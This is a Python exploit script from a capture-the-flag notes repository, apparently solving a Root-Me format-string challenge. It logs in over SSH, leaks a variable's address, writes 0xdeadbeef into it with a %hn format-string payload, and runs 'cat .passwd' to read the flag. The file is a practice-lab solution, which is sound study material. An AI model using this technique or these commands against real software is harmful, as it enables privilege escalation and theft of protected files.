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ctf-notes/app-system/elf-x86-format-string-bug-basic-2/scripts/exploit.py
Tuan-Dat Tran 5cd3b5a531 feat: app system challenges
Signed-off-by: Tuan-Dat Tran <tuan-dat.tran@dextradata.com>
2026-03-23 09:19:03 +01:00

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#!/usr/bin/env python3
import base64
import re
import shlex
import paramiko
HOST = "challenge02.root-me.org"
PORT = 2222
USER = "app-systeme-ch14"
PASSWORD = "app-systeme-ch14"
BIN = "/challenge/app-systeme/ch14/ch14"
FMT_TAIL = b"%11$48871x%9$hn%12$8126x%10$hn"
def p32_le(value: int) -> bytes:
value &= 0xFFFFFFFF
return bytes(
(
value & 0xFF,
(value >> 8) & 0xFF,
(value >> 16) & 0xFF,
(value >> 24) & 0xFF,
)
)
def make_remote_cmd(payload: bytes) -> str:
b64 = base64.b64encode(payload).decode()
py = f"import os,base64;p=base64.b64decode('{b64}');os.execv('{BIN}',[b'ch14',p])"
return "python3 -c " + shlex.quote(py)
def run_read_all(ssh: paramiko.SSHClient, payload: bytes, pty: bool = False) -> str:
cmd = make_remote_cmd(payload)
_, stdout, _ = ssh.exec_command(cmd, get_pty=pty)
return stdout.read().decode("latin-1", "ignore")
def main() -> None:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(HOST, port=PORT, username=USER, password=PASSWORD, timeout=10)
try:
total_len = 8 + len(FMT_TAIL)
probe = b"A" * total_len
probe_out = run_read_all(ssh, probe, pty=True)
m = re.search(r"check at 0x([0-9a-fA-F]+)", probe_out)
if not m:
raise RuntimeError("could not parse check address from probe output")
check_addr = int(m.group(1), 16)
print(f"[+] check address: 0x{check_addr:08x}")
payload = p32_le(check_addr)
payload += p32_le(check_addr + 2)
payload += FMT_TAIL
if len(payload) != total_len:
raise RuntimeError("payload length changed; probe and exploit would desync")
cmd = make_remote_cmd(payload)
stdin, stdout, _ = ssh.exec_command(cmd, get_pty=True)
stdin.write("id\n")
stdin.write("cat .passwd\n")
stdin.write("exit\n")
stdin.flush()
out = stdout.read().decode("latin-1", "ignore")
print(out)
if "check=0xdeadbeef" in out:
print("[+] exploitation successful")
else:
print("[-] exploitation failed")
finally:
ssh.close()
if __name__ == "__main__":
main()